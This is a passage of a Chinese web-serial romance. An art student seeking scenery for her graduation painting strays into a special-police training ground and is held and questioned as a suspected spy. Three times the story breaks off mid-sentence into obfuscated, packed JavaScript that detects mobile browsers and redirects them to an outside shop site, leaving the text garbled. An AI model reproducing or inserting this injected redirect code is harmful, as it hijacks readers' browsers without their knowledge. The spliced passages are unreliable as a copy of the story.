要知道这段时间,周淮琛身边就是有只蜜蜂飞过都逃不开她的眼睛。 孟逐溪能说什么?她自嘲地扯了扯唇:“那大概是因为,我每天都在忙着上班吧。” 乔绵绵:“……你在哪儿上班?” 孟逐溪指了指方向:“幼儿园。” 乔绵绵:“?” 是她情报不到位吗?没听说周淮琛有个儿子或者侄子在上幼儿园啊。 乔绵绵在孟逐溪身边坐下:“幼儿园跟周淮琛有关系吗?” “没有。” “那你去幼儿园做什么?” 孟逐溪一脸麻木望着她:“因为那是我在这附近唯一能找到的工作。” 乔绵绵:“……” 就这么一会儿功夫,乔绵绵看她的眼神已经彻底从戒备变成了怜爱。 * 乔绵绵搬家请的是专业的搬家公司,小到化妆刷,大到床垫,无菌打包,原样平移。贵是真的贵,但省事也是真的省事。她坐在椅子上随意跟孟逐溪聊了会儿天,搬家公司就给她打电话说屋子里的东西已经全部搬离。 物业那边已经交接好,也不用乔绵绵再亲自上去看。 她站起来就打算走了,见孟逐溪还坐在那儿,问:“带你一程?” 孟逐溪想了想:“好啊。” 乔绵绵的车跟乔绵绵的人一样,艳光四射。红色的敞篷玛莎拉蒂刚一开上路,立刻就吸引了无数眼球。 在第三次被旁边车灯闪到眼睛以后,孟逐溪扭头看向乔绵绵:“下雨了,把顶篷升上来吧。” 下什么雨?这天朗气清的。 乔绵绵被她逗笑了,倒是依言把顶蓬升了上来,又问:“去哪儿?送你回孟家?” 孟逐溪想想,顺口问了一句:“你知道这附近有什么地方,嗯……” 孟逐溪顿了两秒,组织语言:“会有那种犷野壮阔的美?” 乔绵绵开着车,被孟逐溪问得硬生生愣了一下:“什么美?犷野壮阔是啥玩意儿?” 孟逐溪换了个坐姿,面对向她,认真地解释:“就是那种没有经过人类干预的、纯天然的景色,充满了豪迈、原生的野性。” 乔绵绵恍然大悟:“你说农村啊?” 孟逐溪:“……” 这反应跟孟言溪一模一样。 孟逐溪挫败地解释:“不是,还要有那种壮阔的山水感。” 野性、原生、壮阔的山水感……乔绵绵细长的手指敲着方向盘,琢磨起孟逐溪给出的这几个关键词。 车子在红绿灯前停下,乔绵绵又琢磨了半分钟,忽然扭头看向孟逐溪:“你说周淮琛?” 孟逐溪:“………………” 这特么到底是怎么联想到周淮琛的! * 乔绵绵把孟逐溪送回她江边的窝,孟逐溪解开安全带,出声道谢:“谢谢。” “不谢。”乔绵绵拿起手机晃了晃,“车费结一下。” 孟逐溪:“?” 行吧,孟逐溪掏出手机,扫了下乔绵绵的二维码。 “滴——” 跳出来的却是好友添加界面。 孟逐溪抬眸看向她,乔绵绵勾唇一笑:“孟言溪的妹妹向我问路,这个人情不要白不要。先加个微信,等我找到你那什么犷野壮阔的地儿,姐带你去写作业。” “是毕设。”孟逐溪纠正,还是低头发了好友请求过去。 乔绵绵顺手点了通过:“那不还是写作业吗?所谓毕设,不就是学生时代最后一次作业。” 倒也是这么个道理。 * 特警基地离周淮琛家其实不远,开车也就半小时左右,但是这些年除了连续长时间的休假,周淮琛通常不怎么回去。他在特警队有单独的宿舍,平时训练强度大,周末如果没有临时任务就直接在宿舍睡觉。如果遇上外出任务离开岁宜,那大半年在外面也是常有的事。 这天上午的枪支实弹射击训练结束,周淮琛刚从训练靶场出来,就遇上迎面过来的指导员韩旭。 两人打了个招呼,周淮琛就准备回宿舍冲澡,韩旭喊住他:“淮琛,你那野外训练的报告批下来了,好消息和坏消息,先听哪个?” 周淮琛侧头,哼笑一声:“上级命令,我有得选?” “你小子,觉悟不错。”韩旭指着他摇了摇头,说,“先听坏的吧,苍山那边的训练场地没批下来。” “好的呢?” “给你批了小鹿岭那片。” 周淮琛挑了下眉:“这叫好消息?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341344|139381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小鹿岭名字叫小鹿岭,听起来跟鹿似的温和,半点杀气没有,实际上跟鹿没有半毛钱关系。那地方离市区四五百公里,远离人烟,四周悬崖陡峭,山坳幽深,茂密的丛林里野兽时常出没。 这些其实都没什么,毕竟只有艰难的自然环境才能更真实模拟丛林作战场景。但小鹿岭有一个最大的问题——它本身属于原始森林的一部分,占地太广,很难完全封锁。 所以其实前两年周淮琛就申请过去那儿,但最终因为封锁难度太高而作罢。 “到时候误闯进来两个人,把人当山里猛兽给崩了,算谁的?” 周淮琛身上还穿着黑色的作训服,站在大太阳底下,高大挺拔,真就是个铁骨铮铮的汉子。可惜长了一张嘴,一开口就像个土匪。 韩旭手里的文件夹往他身上拍去,气笑了:“怎么说话呢?领导让你去你就去,作训部门那边已经协调好了,到时候山下几个入口都会提前封锁,不用你操心。” 周淮琛漫不经心一笑:“行,服从组织命令。” 韩旭顿了顿,又说:“还有个事儿。” 韩旭收了笑,面容顿时显得严肃:“这次训练,有5%的淘汰率。” 周淮琛沉默了两秒,点了下头:“知道了。” 他军校毕业就来了猎豹突击队,这地方每年都有队员来了又走,队里流传着一句话:铁打的营盘,流水的猎豹。 都是曾经一度并肩作战的战友,年轻气盛那会儿还会觉得不舍,后来渐渐明白了,有时候淘汰并非是舍弃,而是一种无声的保护。 那些冲在最前面的人不是不顾及身后之人,相反,他们经历千锤百炼和无数次的极限训练,只是为了使自己的肩膀更加厚实有力,能够承担起家国安稳;使自己的身躯足够强大坚韧,足以将人民护于身后。 * 孟逐溪本来也就是随口一问,加乔绵绵的时候压根儿没指望她真能帮她找着什么采风的地儿,但学校给的时间有限,5月中旬就要正式毕业答辩了,院里要求她最迟五一之后提交画稿,所以她最后郑重交代孟言溪去办这事儿。 孟言溪这人,你说他对他妹不上心吧,他还挺上心的;你说他上心吧,他又上心得不多。 孟逐溪喊她哥给她找地儿,结果孟言溪带她去了趟农家乐,带她吃了池塘里现场钓起来的小龙虾,还有山坡上捉回来现杀的走地柴火鸡。 一天就这么过去了,回去后孟逐溪画了幅柴火鸡的图发朋友圈。 配文案——哥哥带我写的作业。 朋友圈一发出去,同学朋友立刻排队评论:? 辅导员评论:完了,你毕不了业了[偷笑] 没一会儿,孟言溪点了个赞,并评论:不用谢。 孟逐溪扯了扯唇,都懒得吐槽他有多不靠谱了。 这时候屏幕上方弹出条小窗,乔绵绵发来一大串:【哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!】 笑完,乔绵绵向她建议:【你真的不如直接画周淮琛!】 乔绵绵:【野性、原生、壮阔的山水感……周淮琛这不挺满足你要求的吗?】 乔绵绵:【听说你哥跟他挺熟的,要不让你哥把他约出来给你当模特?我这边可以提供场所,我家就挺合适的!】 孟逐溪:【……你的算盘珠子都崩我脸上了。】 乔绵绵又是一阵哈哈哈哈哈哈哈哈,笑完还不死心地问:【真不考虑了?你不是挺喜欢他的吗?】 孟逐溪抿了抿唇,忽然问:【我小时候其实也追星的,但我从来不发社交账号,你知道为什么吗?】 乔绵绵:【为什么?】 孟逐溪:【因为我懒,我怕哪天脱粉了我还得回去删朋友圈,怪麻烦的。】 乔绵绵:【……】 孟逐溪:【我现在是挺喜欢周淮琛的没错,但谁知道能喜欢多久?万一哪天我不喜欢他了,我总不能去向教育部申请撤回我的毕业作品吧。】 乔绵绵:【………………】 一个字,绝! 本来只是想逗逗她的,最后也不知道是谁逗了谁,乔绵绵老实给孟逐溪发去一个地图定位。 乔绵绵:【我一朋友开的度假山庄,要不要去?】 乔绵绵发完文字,又给她发来几张图片。 不知道是不是拍摄角度的原因,度假山庄仿佛开在险峻的悬崖边上,周围没有人烟,远处是云海,往下俯瞰,是连绵的山脉和茂密的丛林。 还有一条玻璃栈道,连着两座山峰,人走在上面仿佛悬空,如走在天堑。 确实是又野又险,还有点惊心动魄的壮阔。 乔绵绵着重介绍了下这条玻璃栈道:【刚修好的,地图上都没有,可以直接走到对面小鹿岭所在的山脉。怎么样,去不?】 孟逐溪又放大图片看了看,回:【去。】 11.第 11 章 乔绵绵推那度假山庄离市区四五百公里,在原始深山上,依山而建,目前还没有正式对外开放。 其实准确地说,这里原来压根就不对外开放,它曾经是一个富豪的私人避暑庄园。虽占地面积广,房间却不多,远离人烟,离最近的村庄也有二三十公里地。周围甚至没有正经公路,唯一一条盘山公路开到庄园,也是原来的主人自己出资修建的。 据乔绵绵说,这里原来的主人只有一个女儿,女儿婚姻不是很顺利,很多年前就去世了,只留下一个儿子。两年前老人也去世了,财产便由他唯一的外孙继承。 外孙据说很优秀,从政,二十七八岁已经是上尉军衔。他既不涉足商业,老人的那些产业他便大多出让了,这处庄园就是其中之一。 接手的人是乔绵绵的朋友,高高瘦瘦一个公子哥,看起来跟乔绵绵差不多大,一身潮牌,名字叫冯迟。 她们到的时候,冯迟亲自到门口接的。据他自己说,他妈妈二十岁的时候遇上了他爸,那时候他爸已经四十多岁了,但他妈和他爸是妥妥的真爱,所以生了他以后就给他起名叫“冯迟”,谐音“逢迟”,意为相逢恨晚。 冯迟热情接待,孟逐溪出于礼貌,客气捧场说:“挺浪漫的。” 冯迟立刻顺着杆子往上爬,挤到她身边就殷勤地问:“妹妹喜欢浪漫吗?我可以带你去对面山上露营。我跟你说,晚上在那儿搭一帐篷,燃一篝火,看星星看月亮,从诗词歌赋聊到人生哲学,聊一整夜,巨浪漫!” 孟逐溪:“……” 她忽然没办法直视“妹妹”这两个字了是怎么回事! 她艰难地笑了笑,说:“还是算了吧,我怕被野兽吃掉。” 冯迟热情道:“不会的,对面那座山最近是一挺热门的徒步路线,挺多人都去那儿徒步露营!” 他指了指山上那一条漫长的玻璃栈道。 一条玻璃栈道悬空连接两座山。 冯迟介绍道:“看那儿,我新修的一条玻璃桥,长1300米,高400米,直接连上对面小鹿岭山顶,我还在那边拍到过几个登山的背包客。” 冯迟说着就点开手机,给孟逐溪看照片。 从这里看对面,小鹿岭就是一片森林,被掩藏在茂密的植被里,什么也看不见。但过去之后视野就完全不一样了,站在山顶俯瞰,能看到底下的松林、崖壁、还有崎岖盘桓的山路。 山路上有几个背包客,拄着手杖登山。 冯迟给孟逐溪展示了几张照片,又积极地提议:“你要是不过去,就在玻璃栈道上拍照打卡也行,这条玻璃栈道我就是朝着网红打卡地的方向打造的。怎么样,带你上去走走?” 眼见冯迟盛情难却,乔绵绵挤回两人中间,替孟逐溪婉拒:“我俩过来坐了四个小时的车,先让我们歇会儿行么?” 孟逐溪感激地看着她。 歇会儿冯迟就再没见着过孟逐溪的人了,问要不要到处走走就是在睡觉,问要不要打麻将就是正在写作业。 好在乔绵绵是妈生的爱打麻将,约她她就去那种,多少也算是给了冯迟面子。最重要的是冯迟麻将打得巨烂,乔绵绵回回都能赢他,打麻将的热情因此空前高涨。后来都不是冯迟约她,而是她四处抓着冯迟打麻将了。 没人就拉冯迟的两个助理作陪。 冯迟这两天加起来已经输了乔绵绵一辆车,欲哭无泪,主动替她转移注意力:“孟家那小美人儿呢?怎么每天不是在睡觉就是在写作业,要不去找她玩会儿?” 乔绵绵打出一张二筒,毫不在意地说:“她小孩子正是长身体和学习的年纪,睡觉和写作业都是正事儿,就别去打扰她了。” 冯迟:“……” 神特么小孩子! 有那么勾人的小孩子么! 那天替她开车门,抬手护她下车的时候,他偷偷往下瞄了一眼。 虽然她身上的衣服捂得严实,他什么风光都没瞄到。可是那胸、那腰……该饱满的地方怕是一手都握不住,该纤细的地方又不盈一握,还有那一身白腻的肌肤,他都不敢想象把这样的尤物抱在怀里弄该有多销魂。 如果不是忌惮着她是孟淮的孙女,孟言溪的妹妹,他绝对当晚就上手了。 不能想,光想想血液就朝不可描述的地方去了。 乔绵绵察觉到他的分心,忽然眼皮都没抬地说了一句:“怕小姑娘闷,来之前我本来还打算再喊几个朋友的,知道我为什么没喊吗?” 冯迟一愣,打出一张牌,问:“为什么?” “碰!”乔绵绵熟练地碰了一下牌,继续说,“孟言溪亲自给我打的电话,不准我带朋友。” “为什么不准你带朋友?”冯迟更摸不着头脑了。 “孟言溪说,那些人他都知道,沾上了就是烂桃花,莫挨他妹。”乔绵绵美目瞟了冯迟一眼,“包括你。” 冯迟:“……” 乔绵绵又再警告了一次:“别说我没提醒你,孟言溪可宝贝着他这个妹妹,你要是不想被孟家废了,你就别打他妹的主意。” 冯迟舔了舔后牙槽,心不甘情不愿地哼了一声:“我这不正把她当姑奶奶供着么?” “最好是这样,你把她供好了,孟言溪自然会谢你。否则别说是你,连我都要被你连累。到时候不仅孟家不放过你,我也不会放过你!” 冯迟哼了一声。 乔绵绵摸了一张幺鸡,将面前的牌一推:“哈哈,胡了!再来!” 冯迟:“……” 看他给自己请了两尊什么样的老佛爷回来! * 他们打牌这两天,孟逐溪画了两幅画。这地方得天独厚,随意入眼都是景。 可是美则美矣,总感觉少了点儿灵魂。 是缺少了什么呢? 孟逐溪坐在画架前,想起冯迟那天给她看的照片,虽然拍照水平不行,人物甚至还有点乱,可是看起来就是莫名比她美丽但空洞的画更有灵魂。 是少了人物吗? 她决定到对面传说中的小鹿岭去看看。 但是一想到那条长达1公里的玻璃桥,她又有点怕。 犹豫一番,她掏出手机,打字问孟言溪:【哥,你给我买保险了吗?】 孟言溪很快回了她一个问号:【?】 孟逐溪把乔绵绵发她那条漫长的玻璃栈道转给他,视死如归打字:【我现在准备去渡桥,如果你没给我买保险那我就再考虑一下。】 孟言溪一看乐了,也不打字,直接回了她一条语音:“别啊,别考虑啊,你保险我都给你买好了,受益人写的爷爷、爸爸和我的名字。你大可放心,你不会对不起我们对你21年的养育之恩。” 孟逐溪:“……” 那真是再没有理由了。 孟逐溪收拾好画具,背起画板,朝山上的玻璃栈道走去。 在下面看还没注意,走到面前才发现这桥完全是悬空的。一千多米的玻璃桥,四百多米高空悬空而建,底下什么支撑也没有。 她鼓起勇气上去,一开始还害怕会像吊桥那样晃荡,但是并没有。漫长悬空的桥梁,在经过了最初的忐忑以后,竟有些豁然开朗的惊喜。站在桥上极目四方,看山岚悬浮于松林,竟有身在云端,遗世独立的感觉。 对面的山海拔不算高,属于整个南山山脉最尾端的一段。山上还是最原始的泥路,没有青石板,不过已经走出了明显的路。平地处还有帐篷搭建的痕迹,应该是冯迟说的来这边徒步和露营的背包客留下的。 冯迟还吹牛说,打算向政府申请在这片修建徒步栈道,把小鹿岭打造成一条特色徒步路线。后期看看要不要再修个茶园什么的,将这里彻底打造成一个旅游景点,都已经请了好几个专家来验证过了。 莫名给了孟逐溪一种这边日常都有很多人的印象。 结果等她背着画板往山下走了一会儿却一个人也没见着的时候,她心里就有点害怕了。 说好的驴友呢?背包客呢? 空荡荡的山间什么也没有,空气是不掺烟火的清冽,偶尔有鸟雀飞过,松果落在草丛间的声音清晰干净。 孟逐溪停下脚步。 算了,还是原路返回吧。 转身刚走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341345|139381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两步,却隐约听见山下传来呐喊。 虽然被距离削减,只能模糊听见,但仍旧可以分辨出那不是一个人的声音,是很多人的声音。 血气方刚,气势恢宏磅礴。 孟逐溪的心忽然就动了一下。 电光火石间,她想起了自己画中缺失的灵魂。 他们像是在喊什么口号,整齐划一,声势浩大。听起来人数众多,没有一百也有几十人那种规模。 这里今天是有开展什么活动吗? 孟逐溪好奇地循着声音往山下走。 走了不多远,就来到一处开阔的台面,从这里俯瞰下去,山下的画面尽收眼底。 一群身穿军绿迷彩服的男人,约莫每六七人一组,共同扛起肩上硕大的圆木,在蜿蜒崎岖的山路上奔袭前进。他们步伐统一,发力一致,即使肩上扛着几百斤重的圆木,底下的路面崎岖不平,甚至泥泞、甚至涉水,他们的节奏丝毫不乱,迅猛穿行在山间,喊着整齐的口号。 从山顶俯瞰,宛若一条刚劲有力的游龙。 野性、豪迈,背景是壮阔的山水。 原来她一直想要的犷野壮阔的审美,灵魂不在风景,而在人。 孟逐溪豁然开朗,立刻从包里取出小凳子和画板。 * 今天的训练内容是扛圆木行军。 凌晨3点,周淮琛在驻扎营地里吹响第一声哨,所有队员在5分钟以内集齐,开始长达12小时的扛圆木行军。 对于特警而言,体能是所有技能的核心。野外12小时的扛圆木行军,跋山涉水,挑战极限。队员们从一开始的气势如虹到渐渐体力不支,却士气不减。 眼见一天的训练终于要结束,周淮琛如有警觉,忽然往山顶的方向看去。 从山下往山顶是看不真切的,就算周淮琛用上望远镜,有植被和崖壁的遮挡,也只能隐约见到那里有个人影。 他心底一沉。 军警训练属于机密,山下路口都封锁了,如果有人闯入,误闯还好,如果是间谍就麻烦了。 他迅速往后方的韩旭跑去,韩旭正在做监督记录,周淮琛跟他交代了一声,让他盯着。自己带着两个分队长,三人一起由隐秘的路线往上,豹子似的穿梭在山林间,眨眼就上去了老远。 …… 孟逐溪心无旁骛将山下的场景入画,一个男人猛兽似的从她身后的山坡跃下,手枪从身后对准她的时候,她手下的画刚刚画好。 山水壮阔,无人野地,一群身穿迷彩服的男人穿梭在崎岖的山路。他们每六七人一组,分组负重,圆木扛在肩上行军,宛若一条气势磅礴的巨龙,挥汗如雨,势如破竹。 是她一直想要的毕业作品,也正好成了她“疑似间谍”的证据。 但此刻的孟逐溪还完全没有反应过来,她甚至没有意识到身后对准她的是什么,茫然地坐在那里。面前的画被人粗暴地扯开,一个身穿迷彩服的高大男人出现在她面前,低头看了一眼画的内容,便将它递给孟逐身后的男人:“队长。” 周淮琛接过看去一眼,在心中迅速判断了形势,便收起枪支,绕到她面前。 孟逐溪仰头,正正对上周淮琛那张英挺冷峻的脸。 男人一身军绿迷彩服,腰上系着腰带,脚上踩着军靴,身形挺拔干练,俯视着她时,如山一样高大沉稳。 “怎么是你!” “怎么是你?” 两个人,异口同声。一个惊喜,一个头疼。 惊喜的显然是孟逐溪,她“蹭”地从凳子上站了起来,望着周淮琛,漂亮的大桃花眼里闪着光。 头疼的自然是周淮琛,浓眉轻拧,他看了看孟逐溪,又看了看自己手中的画,再看看这旷无人烟的山,只觉越发头大。 “你在这里做什么?” 孟逐溪愣了一下,而后指了指他手中的画,老实道:“做,做毕设啊。” 周淮琛:“……” 毕设是做不成毕设了,但肯定可以做她“疑似间谍”的证据。 按照流程,孟逐溪被周淮琛带回特警队,配合调查。 12.第 12 章 孟逐溪在这荒郊野岭见到周淮琛的快乐只维持了短短不到两分钟,两分钟以后,她的手机就被收走了。 男人穿着作训服,要求她交出身上所有的通讯设备,目光是她从未见过的冷肃。 她第一眼见到他的时候觉得他的眼睛让人联想到冷剑上的锋芒,此刻她莫名有种直觉,只要她敢不配合,这把冷剑就会立刻出鞘。 她乖乖拉开背包的拉链,拿出手机递给他。 女孩子的手小小的,掌心娇嫩,白净里透着一点被养得很好的粉色,和周淮琛这种千锤百炼粗粝的大掌截然不同。 周淮琛拿走她的手机递给身后的分队长,目光对上小姑娘有点怯的眼睛,缓了缓语气,又问:“还有没有别的通讯设备?” 孟逐溪摇头:“没有了。” 周淮琛的目光落在她的背包上,孟逐溪以为他是不相信她,委屈地说:“真没有了,我没有骗你。” “嗯,我知道。”周淮琛看向她,“但是按照规定,在调查结果出来之前,你的所有物品都得暂时交由我们保管。” “什么调查结果?”孟逐溪白净的小脸上满是茫然。 一旁的突击分队长看明白了,好笑地接了一句:“证明你不是间谍的调查结果。” 孟逐溪:“?” 孟逐溪:“!” 啥?啥间谍? 她怎么就成了间谍了? * 孟逐溪从小到大,因为家里娇宠,她惹过的祸比同龄人都要多,叫家长更是从幼儿园一路叫到大学。而她为了分散注意力,使自己看起来叫得也没有那么多,别说直系血亲了,孟家三代以内旁系血亲都被她叫了个遍。爷爷、爸爸、姑姑、姑父、哥哥、表哥……就不久前,连哥哥的朋友都叫上了。 但其实她惹的那些都是芝麻蒜皮的小事儿,也就是今天迟到、明天没交作业、后天在大群里公然跟人顶嘴顶完发现对方是分管学生工作的校长……她不叫家长谁叫? 凭良心说,她这种程度的跟其他富二代富三代比起来,已经算得上是“别人家的小孩”,算得上是“榜样”了。更甚至很多时候都不是她的错,譬如其他班的男孩给她递情书,刚好被老师撞见,她本人比老师还懵。 但这次性质完全不一样,连国安部门都惊动了。 周淮琛心里虽然清楚这小姑娘多半是冤枉的,但国家有国家的制度,他有他的职责和使命,他更要为国家和人民的安全负责。孟逐溪还是得按照规定,配合完成调查。 野外训练部分刚好结束,队员集体归队,孟逐溪正好赶上跟他们一路回猎豹队。 猎豹突击队特战大队第一大队门口的三面旗帜迎风飘扬,岗哨处的门缓缓打开,十多辆吉普车秩序井然开进。 国安部门的同志已经到了,孟逐溪一下车,就被带过去。 周淮琛换上了常服,和两名安全官员一同坐在对面。 孟逐溪在经过了最初的茫然和忐忑以后,已经恢复了她天生的松弛感。她的脑回路也简单,如果她是,她肯定会害怕。但她又不是,她什么都没做过,忐忑什么?党和国家肯定会还她清白。 居中的安全官员首先问了她基本信息,然后切入正题,其实那些问题回来之前周淮琛他们就已经问过一遍了。 “小鹿岭山下入口全部封锁,你是怎么进入小鹿岭的?” “我从山上下去的。” “南山山脉东西绵延几百公里,你从哪个山进去的?” “就对面山上,我不知道它叫什么名字,但上面有一处庄园,他们修了一条玻璃栈道,我从玻璃栈道过来的。” 周淮琛坐在安全官员左边,听到这里解释了一句:“从前的林园,两年前出让出去了。接手人叫冯迟,那条玻璃桥就是冯迟最近新修的,地图上没有。” 周淮琛递给安全官员两页资料,是他第一时间派队员上去拍的照。 安全官员接过看了看,又问孟逐溪:“你不知道猎豹突击队正在小鹿岭进行野外集训吗?” 孟逐溪无辜道:“我不知道啊,我要是知道我肯定就不过去了。” “你一个人过去的吗?你说的庄园,里面其他人有没有跟你一起过去?” “没有,他们忙着打麻将。”孟逐溪说着总算想起来了,“对了,你们可以派人去通知一下他们吗?我怕他们晚上打完麻将没看到我,会以为我出了什么意外。” “这个不急,等你初步解除嫌疑之后,我们自然会通知你的家属。”安全官员继续问,“你去那里做什么?为什么要画战训图?” 孟逐溪感觉有点冤:“那不是战训图,那是我的毕设。” 提起这个就扎心,孟逐溪于是又再一次巨细靡遗解释了关于她的毕设是怎么没能交上去、学校又是如何再给她一次机会并要求她在五一之后提交新毕业作品的。 孟逐溪怕连累周淮琛,还特地略去了周淮琛替她当家长那部分,绝口不提他名字,只说:“不信你们去问我学校!” 倒是周淮琛看了她一眼,主动对安全官员说:“她毕设这事儿是真的,我当时就在现场。这部分我会向上级打报告说明情况。” 另一名安全官员问:“既然是补毕设,你为什么不把之前的作品再画一幅出来?还要大老远跑到小鹿岭去?” 孟逐溪直接就被这个问题给问得懵了一下,旋即直了直小腰,立刻耐心地向对方科普:“警察叔叔,您可能不了解我们这个专业,我跟您说哈……” 两名安全官员肉眼可见脸上的肌肉僵了僵。 只见孟逐溪身子微微前倾,漆黑的眼睛又圆又亮:“我们这个专业对原创性的要求特别高,我之前的画没能交上去就丢失了,在不能确定它有没有被泄露的情况下,我就不能再用了。因为如果它已经泄露被别人用了,那我再交同样的画,就很可能会被反指抄袭剽窃。普通的美术生沾上了抄袭,那就是羽毛全毁,更别说我这个是毕设,如果涉嫌抄袭,那我就没办法毕业了,搞不好还会被退学。那我都已经念了十多年的书,好不容易快熬到头结果被退学,那我多亏啊……所以我得重新画,不仅要重新画,我还要画得更好!” “更好?” 孟逐溪说得上头,脱口而出:“对,气死何琪!” “……” 孟逐溪说完,对上周淮琛的眼睛,目光缩了缩,连同着身子也往椅背缩了缩,又讷讷补了一句:“不是有句话说,最好的报复是成功吗?” 周淮琛:“……” 她成不成功他不知道,反正她现在是成功把自己关在队里了。 安全官员问完话,又检查了她的手机。好在她只是画了一幅画,没有拍照,而且目前这幅画的因果和来龙去脉也有证据支撑,能够初步解除她的嫌疑。 孟逐溪被允许可以由猎豹队暂代向家属报平安,但国安部门还需要对她的通讯记录和社会关系做进一步的调查,以彻底排除她的嫌疑。 他们带走了孟逐溪的手机和那幅“毕设”,她背包里剩下的那些画板画具,在检查过确认没有问题后暂时交由猎豹队保管。在最终调查结果出来以前,孟逐溪需要暂时留在猎豹队。 考虑到她现在还不能跟外界联系,周淮琛将她安排在特警队宿舍。带她过去的路上,小姑娘还没有意识到她接下来几天的生活将会多么无聊,跟在他身后,竟然还有些天真的兴奋。 “宿舍?是你住的那种宿舍吗?” 周淮琛委实不知道她在兴奋什么,“嗯”了一声,算是回答。 “那我是住你隔壁吗?”孟逐溪更兴奋了。 “当然不是。”周淮琛侧眸瞧了她一眼。 孟逐溪眼睛里此刻已经完全不见了最初的忐忑,白净的小脸映着灿烂的晚霞,黑白分明的桃花眼扑闪,里面的光比晚霞还要灿烂。 周淮琛都给她整无语了,好笑地提醒:“你不是被邀请来度假的。” 孟逐溪“哦”了一声,这才收敛。 猎豹突击队是一支全员军官组成的特种队伍,他们身姿挺拔,步履有力,或穿着常服,或穿着作训服,走在路上见到周淮琛,两脚一并,打一个板正的军礼,铿锵有力喊:“周队!” 那个画面很热血,连孟逐溪也被感染,忍不住悄悄多看了身边的男人两眼。 她之前在外面总共见过周淮琛三次,即使他硬朗的五官和眼神自然透出一股子凛然正气,但她总能捕捉到他藏在骨子里的痞吝乖张。 毕竟是张口就能让她v他500万作为他跟她哥分手费的男人,还跟她说什么他跟她哥是兄弟,长兄如父,四舍五入他都能当她爸爸……这种人仿佛压根就跟板正两个字挨不上边儿。 他散漫,桀骜,像是什么都不能让他上心。 但是在小鹿岭和这里,她看到的是一个完全不一样的周淮琛。 他威严、冷肃、谨慎不苟,即使是他认识的人,他也半点不会徇私。他有上心的事并且一直在担当——他只忠于国家和人民。 迎面有风吹来,孟逐溪忽然注意到远处一大片场地上趴着一排特警,他们身上穿作战服,头上戴头盔,全副武装,肩上扛着狙击枪,却久久趴在那里,一动不动。 孟逐溪下意识想问他们趴在那里做什么,却又不敢开口,就只是好奇地频频往那儿看。 也不怪她好奇,那么几个大活人趴在地上、扛着枪一动不动,是个人都得多看几眼,确定是真人还是蜡像。 周淮琛自然察觉到了小姑娘那想问又不敢问的模样,心里有些好笑。 让她没事儿去什么小鹿岭?胆子也忒大了,一个娇滴滴的小姑娘,就算没有误打误撞遇上他们训练,也不怕被山里的猛兽给吃了。 周淮琛好心地主动开口:“他们在进行长时间狙击训练。” “长时间?狙击训练?”孟逐溪懵懵地问,“狙击手的枪不是要快吗?” “快指的是出手快,但出手快的前提除了技能,还有专注力。出任务的时候,你不知道目标什么时候会出现,或许几个小时,或许十几个小时,这期间目标随时都有可能会出现。一名合格的狙击手需要在这漫长的时间里时刻保持专注,在目标出现的刹那,一击即中。” 周淮琛话音刚落,远处似呼应一般,“砰”的一声,忽然传来枪响。 声音被距离削减,不再惊心,那是远方的目标出现,狙击手的子弹出了膛。 一枪过后,狙击手又沉寂了下去,一动不动趴在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387738|139381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里,和草地融为一体。直到孟逐溪彻底走远,也没有再听见过枪响。 孟逐溪忍不住问:“他们训练一次要在那里趴多久?” 周淮琛:“七小时。” 孟逐溪震惊:“一动不动?” “一动不动。” “那要上厕所怎么办?” “训练的时候不允许上厕所。” 孟逐溪咋舌。 她想起自己上学上班,让她坐一个小时她都觉得好累,而这中间她甚至还能玩会儿手机摸摸鱼,很难想象特警们究竟是怎么做到这么趴在草地上一动不动,扛着枪保持着同样的姿势一整天,还要时刻保持专注力,在目标出现的刹那一击即中。 更别说还有今天在小鹿岭让她撞见的18小时扛圆木行军,连续18个小时扛着几百斤重的圆木在崎岖的道路上奔袭。 这样的训练无疑是严酷的,而他们无数次挑战极限,只是为了更好地守护国家安全,人民安稳。 这一刻,在孟逐溪心中,那一句“你的岁月静好是因为有人在替你负重前行”真正地具象化了。 她忽然有些汗颜,向周淮琛承诺:“你放心,我肯定不会说出去的!” 小姑娘花儿一样的一张脸,娇娇嫩嫩的,此刻的表情却有种说不出的坚毅,她严肃又倔强地注视着周淮琛的眼睛,让周淮琛莫名想起自己当年宣誓的画面。 周淮琛被她这个冷不丁的“宣誓”给宣得怔了一瞬,旋即忍俊不禁:“你说出去也没事儿,这些不是秘密。” “诶,不是秘密吗?”孟逐溪摸了摸鼻子。 周淮琛已经走远了,孟逐溪连忙加快脚步跟上去,沉默了几秒,忽然问:“如果不是秘密,你可以再多跟我说点儿吗?” 周淮琛:“……” 这小丫头是真的会得寸进尺。 “等你彻底解除嫌疑再说吧。” * 